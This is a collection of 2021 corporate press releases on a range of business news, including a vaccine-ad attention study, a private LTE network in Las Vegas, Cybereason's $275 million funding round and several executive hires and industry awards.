Founded in 2005, Access Garage Doors provides service, installation, and sales of state-of-the-art residential and electric openers. Based in Chattanooga, Tennessee, Access is a top-tier Master Authorized Dealer for one of the largest garage door manufacturers, Clopay, and is a top-tier LiftMaster ProVantage Dealer. Access also carries brands such as Amarr Doors, Genie, Craftsman, Chamberlain, Marantec, and Sommer, and also services Hormann, Wayne Dalton, CHI, Raynor, Sears, Linear, Lynx, Overhead Door, Ideal Door, Windsor Door, Stanley, Door Link, and Ryobi brands. Access is a long-term member of the International Door Association, as well as the Homebuilders Association of Greater Chattanooga.


Vaccine Ads Capture Attention Of Democrats More than Republicans Polarization, social values and institutional distrust can easily override otherwise factual health information in a public health campaign.

Realeyes, a pioneer and leader in video attention measurement, today released new research showing how the efficacy of public service announcements (PSAs) promoting COVID-19 vaccination varies across race and political groups in the U.S.

Using front-facing cameras and the latest attention AI to measure opt-in viewers, The Realeyes Vaccine Report revealed performance across 12 prominent videos. They were released by health agencies and advocacy groups like The Ad Council, The Creative Coalition, and the Department of Health and Human Services (HHS), as well as the pharmacy-retailer Walgreens and pharmaceutical company Pfizer. Realeyes Quality Score gave each video a rating of 0-10, determining a videos ability to capture and retain attention live in market.

Vaccine Ads Capture Attention Of Democrats More than Republicans

According to the report, the PSAs scored 38% higher in attention performance among Democrats than Republicans, with average Quality Scores of 5.6 and 3.8, respectively.

The highest-scoring ads differed across political parties. For Democrats, Should I get it, from the Ad Council, and the Morgan Freeman ad Be there, from The Creative Coalition, scored highest. The ads, with Quality Scores of 7, contained a science-led message backed up by trust.

By contrast, the two highest-scoring ads among Republicans were Its Time, from the HHS, and the Worship 30-second spot, from the Ad Council. The sentimental and religious messages of these ads, with Quality Scores of 7, may have contributed to their ability to capture and retain attention among a conservative audience.

White Viewers Most Attentive To Vaccine Videos

The vaccine ads scored a whole point higher on Quality Score when seen by White viewers versus Black and Hispanic viewers. The average Quality Scores of the PSAs were: 3.6 among Asian viewers; 3.4 among Black viewers; 3.4 among Hispanic viewers; and 4.4 among White viewers.

There is a lack of consistency in the top-scoring ads among each racial group. The only ad that appeared in the top 5 lists of Black, Asian and White viewers was the science-oriented Pfizer ad, We Moved at the Speed of Science." However, the ad had among the lowest attention performance among Hispanic viewers. The Spanish language ad Vacunas contra el COVID, from HHS, was among the top-scoring ads among Black viewers and among the lowest scoring among Hispanic viewers.

Influence of Creative On Cost To Message Different Demographics

The effective cost of quality media exposures, due to the efficiency of the video creatives, differs across racial groups by up to 50%; the effective cost of quality media exposures, among the average of all ads tested, differs across Democrats and Republicans by 40%.

Polarization, social values and institutional distrust can easily override otherwise factual health information in a public health campaign, said Max Kalehoff, Vice President of Marketing, Realeyes. The video attention data underscore just how critical it is for health advocacy campaigns to ensure video creatives are nuanced to different racial groups and political dispositions, despite how strong the facts appear on their own.

To overcome audience attention disparities, the report advises video creators to adopt more agile and DIY production techniques which are perceived to be more authentic, timely and relevant. Leaders of vaccine campaigns also should ensure demographic and racial diversity of their video creators, and who resemble the audiences they seek to persuade.

Lastly, health advocates must use available tools to pre-test the resonance of their video creatives against target audiences. Despite good intentions, carefully constructed messaging for target audiences can have counterintuitive outcomes. Additionally, in situations like the COVID-19 pandemic, sentiment changes continuously, so a message that is relevant today may not be relevant tomorrow. Frequent testing is necessary to evolve messaging accordingly.

Methodology

The Vaccine Study tested twelve video public service ads that appeared on TV and social media among six discrete groups with an average of 164 viewers per video: Democrat, Republican, Asian, Hispanic, Black, and White. Using Realeyes PreView attention-measurement product, each ad received a Quality Score, a rating of 0-10, which measures a videos ability to perform live in market. Quality Score factors in three critical elements:

1) Capture: Ability to capture audience attention in the first seconds.

2) Retain: Ability to retain the audience throughout the ad.

3) Encode: Ability to encode the brand message into the brain through emotional engagement.

About Realeyes

Using front-facing cameras and the latest in computer vision and machine learning technologies, Realeyes measures attention and emotion of opt-in participants as they watch video content online. This empowers brands publishers and technology platforms to inform and optimize their content as well as target the right videos to the right audiences. Realeyes technology applies facial coding to predictive, big-data analytics, driving bottom-line business outcomes for brands and publishers. Founded in 2007, Realeyes has offices in New York, London, Tokyo and Budapest. Customers include brands such as Mars Inc, Church & Dwight, Hersheys and Expedia, agencies Ipsos, MarketCast and Publicis, and media companies such as Google, WarnerMedia and Teads.
We are very excited to see the continued growth of our company, and its all due to the hard work of everyone on our team.

Bates Security/Sonitrol of Lexington has been recognized as the 37th top security provider among three thousand commercial security firms nationwide, according to the 2021 SDM 100 Report. The SDM 100 Report ranks U.S. residential and commercial security companies across a variety of criteria, including total annual revenue, residential subscribers, and non-residential sales revenue.

Bryan Bates, Vice President of Bates Security, explains, The SDM ranking is something that we look forward to every year. However, this year as you know, was quite different, In 2020, security providers faced numerous challenges as the world adjusted to a new normal. It has been an unbelievable last twelve months, Bryan Bates continues, Like everyone else, we had to make changes that we could not have conceived of only a year ago. It was an amazing thing to watch how well our industry came together in providing support and guidance to one another. Our team was amazing at identifying challenges and then coming up with incredibly creative ways of dealing with all the new issues that seemed to develop daily. Clients shared with us best practices and provided helpful feedback that allowed us to keep improving in an ever-changing and challenging environment.

Jeremy Bates, President of Bates Security, echoed a similar sentiment on the value of this ranking. We are very excited to see the continued growth of our company, and its all due to the hard work of everyone on our team. We have great people in the company that are passionate about what they do, which has led to us being ranked in the Top 40 security companies in the nation.

Since 2009, Bates Security has been ranked on the SDM Top 100 list, each year gaining a higher rank. Bates Security enjoys year over year growth due to continuous support from customers, dedication from the employees across all branches, and two significant acquisitions, ABCO Security in Prestonsburg, KY, and the addition of the Absolute Protection Team in Vero Beach, FL. The Bates Security family of brands continues to grow and protect communities across the southeast in Kentucky, Florida, and Georgia.

Bates Security would like to take this opportunity to say how thankful they are to all of the front-line team members who made it possible to conduct business during the pandemic. We know that without the effort and sacrifice of so many that we may have not had the opportunity to continue to serve our clients with the same level of service and dedication they are accustomed to, Jeremy Bates said.

About Bates Security

Based in Lexington, Kentucky since 1984, Bates Security is a locally owned & operated full service electronic security provider offering service for residential, business, educational, and industrial customers in Kentucky, Georgia and Florida. Services include security systems, access control, video surveillance (cameras), fire detection, fire inspections, elevator monitoring, medical alert, gunshot detection, temperature detection, and more. In 2011, Bates received the Installer of the Year Award from Security Sales & Integration Magazine, the Small Business of the Year Award in 2013 from Commerce Lexington, and the 2018 Dealer of the Year Award from SDM Magazine. In 2020 Bates Security ranked #47 on the SDM 100 list and in 2021 rose to #37.
Bramblett Group and Besso's on West Main Street in Henderson, Tennessee We hope that neighbors will join us in celebrating and giving thanks.

The public is invited to join two Henderson businesses celebrating anniversaries Fri., July 16, and Sat., July 17  the 15th year for Bramblett Group and first year for Bessos Coffee.

A full-service marketing/advertising/public relations firm, Bramblett Group invites guests to stop by 117 West Main St. Fri., July 16, from 2 p.m. to 6 p.m. Attendees can receive a caricature created by professional artist Tracy Latham and enjoy refreshments from Bessos Coffee. In marking the companys 15th year, Bramblett Group updated its highlight reel to showcase the capabilities of the teams 16 professionals in design, photography, videography, web/app development and public relations. That video is available at bramblettgrp.com.

To thank customers for their support during the shops first year, Bessos Coffee will offer customers half-price drinks Sat., July 17, from 5:30 a.m. to 11:30 p.m. In addition to the special on coffees, teas and smoothies, guests will find salads, sandwiches and sweets at the 112 West Main St. shop. Beginning with Banjos for Breakfast at 9 a.m., children and adults will perform a variety of music genres throughout the day. Those interested may find a menu, online ordering and contacts for catering at bessoscoffee.com.

Bramblett Group is owned by Jason and Dawn Bramblett, and Bessos Coffee is led by owners/managers Tim and Wendi West, who work with co-owners Cameron and Heather West and the Brambletts. We thank God for His blessings, especially the team members, clients and friends who have been part of Bramblett Group since 2006, Jason Bramblett said. Seeing Gods gifts during the coffee shops three years of prayer and preparation and one year of being open also have been overwhelming, especially through the service that Tim and Wendi have provided since they moved back to West Tennessee from Williamson County. We hope that neighbors will join us in celebrating and giving thanks.

More information about the celebrations can be found at facebook.com/bramblettgroup and facebook.com/bessoscoffee.
In 2007, CAFE Foundation organized the worlds first Electric Aircraft Symposium to address emerging interest in electric propulsion, along with energy and climate issues. Next weeks symposium will provide a comprehensive industry update on all facets of this expanding industry.

Nearly 60 of the worlds leading electric aircraft developers and technology experts will be speaking at the CAFE Foundations 15th Annual Electric Aircraft Symposium (EAS), held online next week on July 20-22, 2021. Registration information and details are available at http://www.vtol.org/eas

Battery-electric, hybrid-electric and hydrogen-fuel-cell-powered aircraft have the potential to significantly reduce air transportation costs, carbon emissions and community noise, and enable new aviation markets. The CAFE Foundation and Vertical Flight Society have been working to advance electric aviation for many years and have partnered again for this years EAS, the worlds longest-running electric flight conference.

The electric-powered aircraft industry continues to attract unprecedented investment despite the COVID-19 pandemic as the world embraces zero emission transportation during the economic recovery, said Yolanka Wulff, Executive Director of the non-profit Comparative Aircraft Flight Efficiency (CAFE) Foundation. In 2007, CAFE Foundation organized the worlds first Electric Aircraft Symposium to address emerging interest in electric propulsion, along with energy and climate issues. Next weeks symposium will provide a comprehensive industry update on all facets of this expanding industry.

The Vertical Flight Society joined forces with the CAFE Foundation in 2018 to co-host the Electric Aircraft Symposium because we recognized that the electric vertical takeoff and landing (eVTOL) and electric conventional takeoff and landing (eCTOL) communities could benefit a lot from each other, said Mike Hirschberg, VFS Executive Director. VFS has been actively supporting what we call the Electric VTOL Revolution since 2014, with incredible advancements by our members over those years.

VFS created the worlds first and foremost eVTOL website  http://www.eVTOL.news  in 2017, and has been the definitive resource for the eVTOL sector, cataloging each new concept as it is revealed  at a pace that greatly accelerated over the past 18 months, despite the COVID-19 pandemic. The sites World eVTOL Aircraft Directory now has dossiers on more than 480 eVTOL aircraft concepts  compared to 300 aircraft cataloged a year ago  representing more than 250 different designers and innovators.

More than two-dozen companies are now flying full-scale all-electric passenger and cargo eVTOL aircraft, with the leading companies garnering $4.5B in investments in just the first half of 2021. In addition, several of the worlds largest airlines and logistics companies placed conditional orders and options totaling more than 1,200 aircraft. In addition, the US Air Forces Agility Prime initiatives has invested in the development of several leading eVTOL developers plus and more than 250 small businesses and academic institutions that are part of the eVTOL ecosystem.

This years EAS will present 18 panel discussions covering the full spectrum of topics including global developments, electric aircraft configurations, propulsion systems, community integration, market segments, testing and certification, as well as emerging regional markets.

The nearly 60 experts are from a dozen countries, representing AeroTEC, Airflow.aero, Ampaire, BACE, Beta Technologies, Black & Veatch, Bye Aerospace, CAE, Community Air Mobility Initiative (CAMI), e-Flight Journal/Flying Pages, Electra.aero, Electro Aero, Electric Power Systems (EPS), Federal Aviation Administration (FAA), Flying Ship, General Aviation Manufacturers Association (GAMA), Georgia Tech, Happy Takeoff, Harbour Air, HMMH, Hyundai Air Mobility, International Vehicle Research, Jump Aero, Lindbergh Foundation, National Aeronautic Association (NAA), NEXA Advisors, Pipistrel, REGENT, Regional Airline Association (RAA), Rolls-Royce, Sabrewing, SAMAD Aerospace, Skyports, Sustainable Aviation Project, Swanson Aviation, Tier One Engineering, University of California Berkeley, US Air Forces Agility Prime, Volocopter, VerdeGo Aero, Universal Hydrogen, VoltAero, Vertical Flight Society, Wisk, and Xwing.

Day 1 (July 20) features an Overview of Global Electric Aircraft Developments and in-depth sessions on Regional Air Mobility (RAM); Conversions and Supplemental Type Certifications (STC), Electric Aircraft for Public Services and Defense, and Community Integration, and will include presentations by aircraft manufacturers, Tier 1 suppliers, academics, consultants, industry organizations and the US Air Force.

Day 2 (July 21) focuses on Advanced Air Mobility Competitions, Integrating Hydrogen as a Propulsion Source, Urban Air Mobility (UAM) Business Cases, Coastal Community Use Cases, Regional eCTOL/eSTOL, and Electric Aircraft Certification.

Day 3 (July 22) covers Workforce & Diversity, Electric Motors & Systems, Batteries, Vertiports & General Aviation Airports, Cargo, and the Pilot Pipeline.

The 36-year old CAFE Foundation hosted the first electric aircraft symposium in North America in 2007. In 2011, the Foundation managed NASAs Green Flight Challenge, which was funded by Google. This US$1.35M prize was awarded to Pipistrel USA for its winning four-seat, electric-powered aircraft, the Taurus G4, which flew nearly 200 miles (322 km) non-stop, while achieving 403.5 passenger-MPG (171.5 passenger-km/l). Its astounding efficiency was more than twice that of the piston-powered aircraft in the competition. http://www.electricaircraftsymposium.org

The Vertical Flight Society was founded in 1943 by the pioneers of the US helicopter industry to advocate for vertical flight and create a robust international technical community and today has more than 150 corporate and 6,500 individual members. VFS hosted the worlds first electric VTOL technical meeting in 2014, launched the worlds first eVTOL eNewsletter in 2016 and eVTOL website in 2017, and the worlds first eVTOL short course in 2018. VFS is the leader of advocacy for vertical flight. http://www.vtol.org
Michael Sherwood, Chief Information Officer, City of Las Vegas "Terranet Communications private LTE, 5G-ready network was constructed for our specific requirements. This network has allowed Las Vegas to provide a needed service for our students and citizens, while adding to the technologies that are part of our innovation hub.

Terranet Communications, a leading provider of customized, fully integrated LTE and 5G-ready private broadband networks, and Baicells, a leading equipment manufacturer of 4G LTE and 5G Near Radio End-to-End solutions, today announced the successful deployment of the nations largest LTE, 5G-ready private municipal network for the City of Las Vegas. Deployed in only 45 days, the 5G-ready private network named Advanced Connectivity for Community and Economic Development (ACCED), will help Las Vegas become one of the United States first, premier smart cities. Due to its success, a four-stage plan is in place to expand the wireless network across the entire city of Las Vegas and potentially neighboring cities, with a goal of improving connectivity for other city services, including law enforcement, telehealth, and general IoT infrastructure. View a short video about the deployment here.

The City of Las Vegas tapped Terranet Communications to deploy the private network due to concern over the digital divide many of its citizens and students faced as a result of the increased requirement for remote work and education caused by the onset of COVID-19. At the time, upwards of 30,000 children did not have internet access and were struggling to remain connected to their schools and keep up with their classmates. Terranet and the City of Las Vegas chose Baicells Nova 436Q paired with indoor Atom CPEs to provide the citys fixed-wireless LTE connections.

Terranet Communications private LTE, 5G-ready network was constructed for our specific requirements, said Michael Sherwood, Chief Innovation Officer at the City of Las Vegas. This network has allowed the city to provide a needed service for our students and citizens, while adding to the technologies that are part of our innovation hub.

Terranet Communications private networks use an extensive group of OEM infrastructure partners in conjunction with the companys exclusive network design methodology to supply cities, governmental agencies, tribal lands and real estate organizations with wireless broadband that meets their specific immediate and projected needs, faster and less expensive than other broadband providers. The private networks are easily customized, installed and maintained.

"Setting up a private LTE network in Las Vegas was no small task. Our plug and play equipment made it possible for us to set up a proof-of-concept project in 45 days, and that was crucial to getting the network off the ground, said Bob Stone, Director of Carrier Solutions at Baicells North America. Terranet Communications was vital in making this happen alongside Baicells and we're very excited to help close the digital divide and get the Las Vegas community the internet connectivity it deserves."

A recent study by analyst group Frost & Sullivan predicts that the sector could generate significant business opportunities with a market value of $2.46 trillion by 2025. U.S. President Joe Biden also approved a new infrastructure bill in June 2021 with $65 billion set aside for broadband deployments, such as those provided by Terranet.

The world is recognizing that broadband is as essential as other basic human needs. Terranets design and end-to-end deployment approach to the Las Vegas private network is a significant example of how our companys expert team and best-in-class infrastructure partners, like Baicells, can quickly and cost-effectively meet real-world needs for specialized, robust, reliable and secure broadband connectivity," said Bart van Aardenne, CEO and co-founder of Terranet Communications. Democratized access to connectivity can help elevate communities through improved access to important information and services and other quality-of-life programs that increase equal access to information and services, improve living conditions and ensure no one is left behind.

Access the press kit here or contact Terranet Communications or Baicells North America to learn more.

About Baicells

Baicells is an international company, providing disruptively priced and technically innovative 4G LTE and 5G NR Access Solutions that connect more than 50 countries across the globe. Our ever-expanding goal to Connect the Unconnected has led to the establishment of offices across five of the seven continents and the development of over 300 patents since our inception in 2014. Baicells currently boasts over 700 private LTE networks across the world, with a large percentage of those trusted networks operating within North America. To meet growing demand for increased connectivity, Baicells production is booming with manufacturing plants operating in Taiwan, Hong Kong and Vietnam alongside an extensive relationship with global manufacturer, Jabil.

About Terranet Communications

Terranet Communications is a leading provider of customized, fully integrated LTE and 5G-ready indoor and outdoor private broadband networks. We offer cities, municipalities, government agencies, tribal lands and real estate organizations a more cost effective, faster and easier way to establish customized private LTE, 5G-ready network connectivity. Our proven, exclusive end-to-end approach combines our exclusive network design methodology with a highly experienced wireless team, custom network architecture and extensive best-in-class infrastructure partners. Founded in 2020, Terranet Communications is a privately held company headquartered in Orange County, California. Follow Terranet Communications on LinkedIn, Twitter, Facebook and Instagram or learn more at https://terranet.global/.

All trademarks contained herein are the property of their respective owners.

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Copado, a leading DevOps platform for Salesforce By empowering customers to connect with Copado experts in real time, companies have a more personalized and immediate channel to address real business problems and achieve better business results.

Copado, a leading DevOps platform powering the worlds largest digital transformations, today announced it has embedded AppExchange Chat functionality within Copado DevOps and Copado Value Stream Maps on Salesforce AppExchange. Now customers can get their questions answered directly by Copado experts without even leaving their AppExchange listing.

By empowering customers to connect with Copado experts in real time, companies have a more personalized and immediate channel to address real business problems and achieve better business results. Copado Native DevOps Solution for Salesforce and Copado Value Stream Maps are currently available on AppExchange.

Copado, built 100% natively on the Salesforce platform, enables faster, error-free releases with continuous integration and deployment (CI/CD) technologies, all via an enterprise-class DevOps platform fully integrated with Salesforce and DX. An end-to-end native DevOps solution that unites Salesforce Admins, Architects and Developers on one platform, Copado creates a streamlined, efficient, higher quality release process, resulting in happier teams and higher levels of innovation. Copado is helping power the next generation of transformation delivery through its integrations on AppExchange.

Comments on the News

Our mission is to provide a comprehensive DevOps solution to build a path to Salesforce success, said Andrew Leigh, CMO at Copado. As a release management app that is 100% native on the Salesforce platform, we provide a full suite of tools to use to monitor and trace the full release cycle, enabling businesses to deploy quicker, smarter, with fewer errors. By adding AppExchange Chat functionality, we can help our customers achieve results faster and decrease problem resolution time.

AppExchange has always brought partners and customers togetherand now the addition of AppExchange Chat connects our ecosystem in real time, said Woodson Martin, GM of Salesforce AppExchange. With this feature, customers can leverage Copados expertise to accelerate their digital transformations with confidence.

About Salesforce AppExchange

Salesforce AppExchange, the worlds leading enterprise cloud marketplace, empowers companies, developers and entrepreneurs to build, market and grow in entirely new ways. With more than 6,000 listings, 9 million customer installs and 117,000 peer reviews, AppExchange connects customers of all sizes and across industries to ready-to-install or customizable apps and Salesforce-certified consultants to solve any business challenge.

Additional Resources

Follow Copado on LinkedIn and Twitter

Like Salesforce on Facebook:http://www.facebook.com/salesforce

Follow Salesforce on Twitter: https://twitter.com/salesforce

Salesforce, AppExchange and others are among the trademarks of salesforce.com, inc.

About Copado

Copado is a leading DevOps platform enabling some of the worlds largest digital transformations in the cloud. Backed by Insight Partners and Salesforce Ventures, Copado accelerates cloud deployments, simplifies the release process, increases developer productivity, automates security and compliance, and maximizes return on cloud investments. Copado DevOps 360 includes Value Planning, Continuous Delivery, Automated Testing, Security and Compliance. More than 1,000 companies run on Copado including Boston Scientific, Coca-Cola, Fair Trade, Linde, MassMutual, Schneider Electric and Shell. Copado processes over 50 million DevOps transactions per month and is rated with a 100% score on the Salesforce AppExchange. More information can be found at: http://www.copado.com.
Cybereason is fast becoming the global leader in cyber defense technology, and we could not be more pleased to make this extraordinary innovator the first addition to Liberty Strategic Capitals portfolio, said Secretary Mnuchin, Founder and Managing Partner of Liberty Strategic Capital.

Cybereason, the leader in operation-centric cyber attack protection, today announced it has secured $275 million in crossover financing led by Liberty Strategic Capital, with additional backing provided by Irving Investors, certain funds advised by Neuberger Berman Investment Advisers LLC, and Softbank Vision Fund 2*. This latest round of investment validates the companys position as the preeminent innovator in delivering XDR, EDR, EPP and anti-ransomware solutions. Cybereason will use the proceeds to continue to fuel the companys hypergrowth driven by strong market demand for its AI-powered Cybereason Defense Platform. This round follows $389 million in prior funding from Softbank Group, CRV, Spark Capital and Lockheed Martin.

Unlike traditional alert-centric models, the Cybereason Defense Platform is operation-centric  exposing and ending entire malicious operations (MalOps). A Cybereason-identified MalOp is not another alert  it is a fully contextualized view of every element of an attack as it unfolds across an enterprise. Because todays sophisticated cyber criminals build attack operations, not point attacks, The ability to identify MalOps are the key to successfully fighting modern cyber attacks including the latest sophisticated ransomware. The attackers goal is to move from the endpoint across the whole enterprise, and they are organized, funded, and motivated to succeed. Without an operation-centric cybersecurity approach, organizations remain vulnerable to repeated attack. Cybereason enables organizations to quickly recognize, expose, and end entire malicious operations before MalOps become breaches.

Cybereason is fast becoming the global leader in cyber defense technology, and we could not be more pleased to make this extraordinary innovator the first addition to Liberty Strategic Capitals portfolio, said Secretary Mnuchin, Founder and Managing Partner of Liberty Strategic Capital. Cybereason has established itself as a visionary in prevention, detection and response, and Liberty Strategic Capital is excited to partner with the Cybereason team in their cutting-edge work to defend critical information networks, businesses, and governments around the world against the growing danger of cyber attacks. We are confident in Cybereasons ability to deliver a superior product to customers and provide best-in-class critical infrastructure defense.

Cybereason has experienced impressive growth over the last year and has been recognized as a leading innovator by many third-party organizations:



Taking a premier spot on the CNBC 2021 Disruptor 50 list of the most innovative privately held global companies - one of only two security companies to make the list out of a record breaking 1,600 nominations

Exceptional performance in the MITRE Engenuity ATT&CK Evaluations, receiving top scores across every aspect of the testing, including 100% coverage for prevention of Windows and Linux-based threats and unparalleled visibility and detections for the 54 advanced attack techniques

An impressive debut in the 2021 Gartner Magic Quadrant for Endpoint Platforms, positioned furthest to the right in the Visionary Quadrant for Completeness of Vision in the endpoint protection space

Protecting customers from the headline-making operations that other solutions missed, including the SolarWinds Supply Chain attacks, the Microsoft Exchange Server attacks, and the crippling ransomware attacks launched by DarkSide, REvil, Conti and other ransomware syndicates

Over the past year, weve experienced hypergrowth across the globe as defenders recognize that ending advanced attacks isnt possible using solutions that rely on meaningless alerts and human intervention, said Lior Div, CEO and co-founder of Cybereason. Existing  even next-gen  solutions are fundamentally flawed, creating the dynamic we have today where the defender is constantly struggling to keep pace with attackers. Unlike our prolific alert-generating competitors, Cybereason takes an approach that enables defenders to end malicious operations instantly, resulting in the most comprehensive prevention, detection and response solution on the market. This is how we are returning the high ground to the defenders  and we are just getting started.

In connection with Libertys investment in Cybereason, Secretary Mnuchin will join the Cybereason Board of Directors, and Libertys Senior Advisor, General Joseph F. Dunford (Ret.), will join Cybereasons Advisory Board. General Dunford served as the 19th Chairman of the Joint Chief of Staff (2015-2019).

J.P. Morgan is serving as exclusive placement agent to Cybereason, with Cadwalader, Wickersham & Taft LLP serving as legal counsel to the company. Paul, Weiss, Rifkind, Wharton & Garrison LLP is serving as legal counsel to Liberty.

About Cybereason

Cybereason is the champion for todays cyber defenders providing future-ready attack protection that unifies security from the endpoint, to the enterprise, to everywhere the battle moves. The Cybereason Defense Platform combines the industrys top-rated detection and response (EDR and XDR), next-gen antivirus (NGAV), and proactive threat hunting to deliver context-rich analysis of every element of a Malop (malicious operation). The result: defenders can end cyber attacks from endpoints to everywhere. Cybereason is a privately held, international company headquartered in Boston with customers spanning 40 countries.

About Liberty Strategic Capital

Liberty Strategic Capital is a Washington, DC-based private equity firm focused on strategic investments in technology, financial services and fintech, and new forms of content. The firm was founded in 2021 and is led by former Secretary of Treasury Steven T. Mnuchin.

The Cybereason investment builds on Secretary Mnuchins unique experience in cybersecurity and technology issues. As Secretary of the Treasury and a member of the National Security Council, Secretary Mnuchin helped shape the U.S. governments approach to cyber threats, including supervising the design of new economic sanctions targeting Iranian, Russian, and North Korean cyber attackers and transnational cyber criminals and using sanctions authorities to combat ransomware attacks. Secretary Mnuchin was also the U.S. governments lead official responsible for cybersecurity across the financial services sector. In that capacity, he worked directly with top U.S. regulators and chief executives of the largest U.S. financial institutions on cybersecurity preparedness, regulatory coordination, and incident response. In addition, Secretary Mnuchin led the modernization of technology and data security within the Internal Revenue Service to better protect the single largest collection of sensitive personal financial data in the country. Secretary Mnuchins previous private sector technology experience includes his service as the Chief Information Officer of Goldman Sachs, with responsibility for the firms global information and technology strategy and operations. Liberty Managing Director Michael DAmbrosio, former Assistant Director of the United States Secret Service and cybersecurity expert, played a key role in this investment and will also play a leading role in Libertys efforts to provide strategic assistance to Cybereason.

Learn more: https://www.cybereason.com/

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Media Contacts:

Bill Keeler

Senior Director, Global Public Relations

Cybereason

bill.keeler@cybereason.com

(929) 259-3261

*As of the date of this press release, SoftBank Group Corp. has made capital contributions to allow investments by SoftBank Vision Fund 2 ("SVF 2") in certain portfolio companies. The information included herein is made for informational purposes only and does not constitute an offer to sell or a solicitation of an offer to buy limited partnership interests in any fund, including SVF 2. SVF 2 has yet to have an external close, and any potential third-party investors shall receive additional information related to any SVF 2 investments prior to closing.
As we look ahead to the future, Stans experience in leadership roles at publicly traded companies will be a great addition to the executive suite during this exciting next phase of growth for Egnyte, and beyond.

Egnyte, the leader in cloud content security and governance, today announced the appointment of Stan Hansen as Chief Revenue Officer (CRO). Hansen will be responsible for all sales functions globally.

In the first half of 2021, Egnyte has added 128 net new hires, bringing its total employee count to 789; opened its first office in Asia; and, received numerous industry and customer accolades including being named a Leader by G2 in three distinct categories: Data Governance, Data Security and Content Collaboration.

"After just closing our largest quarter in history, growing 40% year over year, we are excited to welcome a leader of Stans caliber to help us capture the demand we are seeing in the market, said Vineet Jain, Co-Founder and Chief Executive Officer, Egnyte. As we look ahead to the future, Stans experience in leadership roles at publicly traded companies will be a great addition to the executive suite during this exciting next phase of growth for Egnyte, and beyond.

Prior to joining Egnyte, Hansen spent five years at Pluralsight, where he was most recently President, North America Sales. In that time, Hansen built a multi-regional, large-scale sales, business development and solutions consulting organization that was process driven and consistently generated high-growth revenue results. Hansen and his organization were instrumental in taking Pluralsight through their successful initial public offering in 2018. Prior to Pluralsight, he held various leadership positions in sales, technology and operations for companies including Domo, Adobe and Wells Fargo.

Im thrilled to be joining Egnyte at such a historic time of substantial growth, said Stan Hansen, Chief Revenue Officer, Egnyte. I look forward to working with an exceptional leadership team to capture the growth opportunity and unprecedented market demand Egnyte is experiencing as more companies continue to embrace digital transformation at an accelerated rate."

About Egnyte

Egnyte provides a unified cloud content governance solution for collaboration, data security, compliance, and threat detection for multicloud businesses. More than 16,000 organizations trust Egnyte to reduce risks and IT complexity, prevent ransomware and IP theft, and boost employee productivity on any app, any cloud, anywhere. Investors include GV (formerly Google Ventures), Kleiner Perkins, Caufield & Byers and Goldman Sachs. For more information, visit http://www.egnyte.com
With our relentless focus on industry solutions that drive data-centric, actionable insights, we leverage the full power of the Microsoft platform to drive unparalleled business impact and transformation for our manufacturing customers.

eLogic, the leader in intelligent business solutions for manufacturers, announced today it has won the 2021 Microsoft Dynamics 365 Sales Partner of the Year Award. eLogic was also recognized as Winner of the 2021 Microsoft US Partner Award in Dynamics 365 Sales. The company was honored among a global field of top Microsoft partners for demonstrating excellence in innovation and implementation of customer solutions based on Microsoft technology.

Our companys primary focus is to provide a different customer experience, not just through the solutioning process itself but more importantly on how we work together to drive adoption and realized value from the outcomes we deliver, said Kris Shields, eLogic CEO. It is an honor to see that commitment recognized by Microsoft. With our relentless focus on industry solutions that drive data-centric, actionable insights, we leverage the full power of the Microsoft platform to drive unparalleled business impact and transformation for our manufacturing customers.

The Microsoft Partner of the Year Awards recognize Microsoft partners that have developed and delivered outstanding customer solutions built on the Microsoft platform during the past year. Awards were classified in various categories, with honorees chosen from a set of more than 4,400 submitted nominations from more than 100 countries worldwide.

I am honored to announce the winners and finalists of the 2021 Microsoft Partner of the Year Awards, said Rodney Clark, corporate vice president, Global Partner Solutions, Channel Sales and Channel Chief, Microsoft. These remarkable partners have displayed a deep commitment to building world-class solutions for customersfrom cloud-to-edgeand represent some of the best and brightest our ecosystem has to offer.

eLogic successfully drives its manufacturing customers to adopt and use the total Microsoft platform across Business Applications, Modern Work, Digital & App Innovation, and Data & AI.

In addition to this years awards, eLogic is recognized as 2020 Microsoft Worldwide Partner of the Year Finalist for Power Apps and Power Automate, 2018 Winner of the Microsoft US Partner of the Year for Field Service, 2016 US Partner of the Year for Microsoft Dynamics, 2015 Microsoft Manufacturing Partner of the Year, and six-time Winner of the Microsoft Inner Circle award.

About eLogic

With a 20-year history of delivering transformative digital solutions for manufacturers, eLogic remains at the forefront of applied technologies that are reshaping the manufacturing industry for the future. eLogic is distinguished as a full-service business solutions provider with a 100% focus on Manufacturers and Equipment Service Providers. Core vertical markets served include Industrial Manufacturing, High Tech, Health & Science Technology, Power & Energy, and Aerospace & Defense Technology. By combining decades of industry expertise and leadership with the most powerful technologies, the company accelerates their customers advances in Sales & Service enablement, Agile Factory, IoT & Connected Products, and Application Modernization leveraging the Microsoft and SAP platforms. To learn more about eLogic, please visit: eLogic.com.
Our court system has made significant advancements in operational efficiency by adding eFiling. The FSX service will improve how documents are filed and served on the parties and will lead us to a more proficient paperless system.

In a move to support the courts goal to reduce and eventually eliminate paper-based filings, FSX was selected as the exclusive electronic filing service provider for the Mille Lacs Band of Ojibwe Tribe. FSX offers a proven track record of successful implementations with access to 1,400 courts nationally. FSX, in cooperation with Justice Systems, Inc., will provide the Judicial Branch of the Mille Lacs Band with integration into the courts case management system, FullCourt Enterprise.

The Mille Lacs Band Court and Court Administration is always looking to enhance productivity of the court. Our court system has made significant advancements in operational efficiency by adding eFiling. The FSX service will improve how documents are filed and served on the parties and will lead us to a more proficient paperless system, said Gilda Burr, Court Administrator for the Mille Lacs Band of Ojibwe Indians.

FSX will provide the first eFiling solution for civil District Court filings, which began accepting cases on June 1, 2021. We are thrilled to be part of the Courts innovation project. Our thirty years of experience and cloud-based technology will bring to the Mille Lacs Tribal Court the automation, efficiency, and capabilities desired. We look forward to serving the judicial and legal community, said FSX Chief Executive Officer, Tammy Carter.

About File & ServeXpress, LLC.

With 30 years of experience, File & ServeXpress is the longest-tenured provider of eFiling and eService technology and services, focused exclusively on the needs of law firms and courts. File & ServeXpress provides law firms and courts with solutions that enable them to interact and simplify the judicial workflow for the entire lifecycle of their cases. The File & ServeXpress solutions support all roles in the firm from managing partners to paralegals as well as government agencies and self-represented litigants. The company also maintains over 80 million documents, files and serves into 1,400 courts, and supports a user base of 200,000 users across 30 states and the District of Columbia.
Foresight Risk & Insurance Services, an insurtech company modernizing workers comp and rewarding proactive insureds with lower premiums, announced that Laura Gomez Thomas will now oversee the companys claims program as Vice President of Claims. In her new role, Thomas will be a critical partner to all parties involved in facilitating the mission Foresight has committed to.

